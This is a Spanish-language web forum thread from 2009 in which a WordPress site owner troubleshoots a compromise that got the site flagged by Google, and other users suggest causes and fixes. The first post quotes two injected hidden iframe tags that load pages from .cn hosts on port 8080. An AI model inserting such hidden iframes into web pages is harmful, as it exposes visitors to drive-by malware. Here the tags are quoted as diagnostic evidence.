"Virus" ó código malicioso en los Themes de Wordpress ?

ghidalgoram · #1 (**permalink**) 24/08/2009, 16:19

Hace días hice la siguiente consulta en el siguiente link http://www.forosdelweb.com/f118/inde...blanco-728407/

(Favor leer el contenido del anterior link.)

Pude resolver el problema (hasta el momento).
Dos días después, me encuentro con la sorpresa de que Google detecta el sitio como sospechoso. Al ingresar al Blog, me pone lo siguiente:

Cita:

¡Este sitio es una web atacante!

Este sitio web en www.URL.com ha sido reportado como una web atacante y ha sido bloqueada basándose en sus preferencias de seguridad.

Los sitios atacantes intentan instalar programas que pueden robar información privada, usar su ordenador para atacar otros o dañar su sistema.

Algunos sitios atacantes distribuyen intencionalmente software dañino, pero muchos son comprometidos sin el conocimiento o permiso de sus propietarios.

..

Yo doy fe de que no tengo ninguna mala intensión como lo hacen otros sitios.
Este mensaje aparece con Fire Fox, Chrome, Safari. Con IE8 no aparece, pero donde voy a ver el código de cualquiera de los Post, aparece la página en blanco. Y donde voy a ver el código fuente aparece lo siguiente:

Código HTML:

<iframe src="http://martpictureexistence.cn:8080/index.php" width=140 height=159 style="visibility: hidden"></iframe>

En otros aparece lo siguiente:

Código HTML:

<iframe src="http://brandnamemart.cn:8080/index.php" width=199 height=168 style="visibility: hidden"></iframe>

Busqué en Google los nombres "brandnamemart" y

Desde luego esto no es normal. Mi única conclusión, es que el problema está en los "Themes" que tenía instalados en el blog.

Voy a dar la lista de los "themes" que están instalados (aunque aclaro que no todos sean sospechosos).

blocks2
clockworksimple
come-my-lady-11
corporate
nonzero
silverlight
tropicala

Casi estoy seguro que el problema está en los "Themes", porque hace dos días, hice una actualización desde 0, es decir,,, borré completamente la carpeta donde estaba el blog. Respaldé la base de datos y de nuevo di crear una carpeta para el blog con el mismo nombre, subí los archivos que traía la última actualización de Wordpress.org y realicé los pasos para actualizar el blog. Hasta aqui todo nuevo. Lo único viejo que subí al servidor fueron los "themes" que estaban instalados cuando se empezó a dar el problema. Es aquí donde tengo mis fuertes sospechas. Algunos de los sitios que trabajamos se ha afectado con este mismo problema y creo que el problema viene por el ó alguno de los "Themes".

Yo voy a eliminar del servidor todos éstos "Themes" con exepción del "Clásico" y el "Default".

Dentro de pocos días les comentaré los resultados.

Luego realizar de nuevo la actualización (ni modo

)

Pero me gustaría saber la opinión de algunos de ustedes.
Que me dicen amigos ?
Que me recomiendan ?
Alguién tuvo la misma experiencia ?

Saludos
Gracias.

Nekko · #2 (**permalink**) 24/08/2009, 20:34

Consejo: Siempre descargá los themes de las páginas de sus respectivos autores, nunca de torrents o sitios de descargas "warez". Busca sitios web con cierto prestigio para descargar archivos.

ghidalgoram · #3 (**permalink**) 25/08/2009, 09:39

Gracias "Nekko".

Tomaré en cuenta tu consejo.

saludos

splashman · #4 (**permalink**) 26/08/2009, 10:33

A mi me paso con una web pero no en wordpress pero una vez que te toma google y te bloquea como página malisiosa, se demora un buen tiempo en sacarte la advertencia. Debes enviar nuevo sitemap y ellos revisan.

Nada mejor que usar themes conocidos o que mejor, crear nuestros propios temas.

ghidalgoram · #5 (**permalink**) 27/08/2009, 00:27

Muchas gracias "splashman" por tu consejo. Lo vamos a necesitar mucho porque ahora viene la segunda parte,,.... comprobarle a Google que realmente no somos un sitio web atacante, como ellos nos clasificaron.

Les comento lo último que ha pasado.

En la empresa renovamos las licencias del antivirus AVG 8.5
Yo bajé a mi PC los sitios que estaban infectados,... y que creen ustedes..!!!! Algunos archivos .php estaban infectados con un virus llamado algo así como "Frame/HTML". Había como 10 archivos infectados, de los cuáles, 8 tenían nombre de index.* El virus como que busca archivos que se llamen index

Luego de detectar los archivos infectados, los reemplacé por otros archivos que no están infectados.

Gracias a Dios, ho ha vuelto a dar problemas y las cosas van mejorando y restableciéndose.

Ahhhh,, otra cosa que quería comentar. En el principio yo les comenté que sospechaba mucho de los temas y desde luego creo que debemos tener cuidado en el momento de elegir e instalar uno. Pero les comento que tengo una segunda sospecha. Como Wordpress guarda el código HTML, creo que en la base de datos estaba guardado los comentarios que estaban clasificados como SPAM. Apenas actualicé el blog, ingresé al Panel de Control del Wordpress e inmediatamente eliminé todos esos comentarios que estaban filtrados como SPAM. Y hasta el momento no he vuelto a tener problemas.

Gracias y saludos a todos.

splashman · #6 (**permalink**) 27/08/2009, 08:10

2 cosas.

El avg 8.5 tiene una falla y es que te ocupa demasiados recursos, no así la versión 7.0 que es la mas estable.

Ahora lo segundo, es que tienes que enviar nuevamente los sitemaps.xml a google y esperar algunos dias.

ghidalgoram · #7 (**permalink**) 27/08/2009, 09:35

Gracias de nuevo "splashman" y todos los demás que han dado su granito de arena.

Les comento que otra manera como ataca este virus es eliminado o borrando los "index.php"

Ayer cuando salí del trabajo deje funcionando los blogs de manera normal. Hoy en la mañana revisé uno de ellos y me da problemas. En este caso, borró los index.php

Para verificar cualquier problema, "bajé" el blog a mi PC y lo revisé con el antivirus y no pasó nada. Lo único es que borró los archivos llamados index.php

Entonces, por el momento no podemos enviarle nada a Google, hasta que quede solucionado por completo, el problema con este virus en el servidor. Por el momento, vamos a contactar a las empresas que nos brindan el servicio de hosting, para que revisen los servidores con un antivivirus. Eso si lo pueden hacer ellos y darnos un informe.

Busqué un Google sobre este problema y me encontré un post de este foro. Lo publico para ayudar a personas que se les presente este problema en el futuro.
http://www.forosdelweb.com/f18/virus...go-php-641464/

Les estaré informando al respecto.
Saludos.

splashman · #8 (**permalink**) 27/08/2009, 09:50

Yo creo que tu problema no está en el theme sino en la seguridad del server. Te lo digo porque ese fue el problema que tuvimos nosotros. La seguridad era prácticamente nula.

Todos los días nos agregaban en los archivos con nombre index ya sea php o html un codigo con un iframe de unos rusos.

Lo solucionamos probando otro server.

Saludos.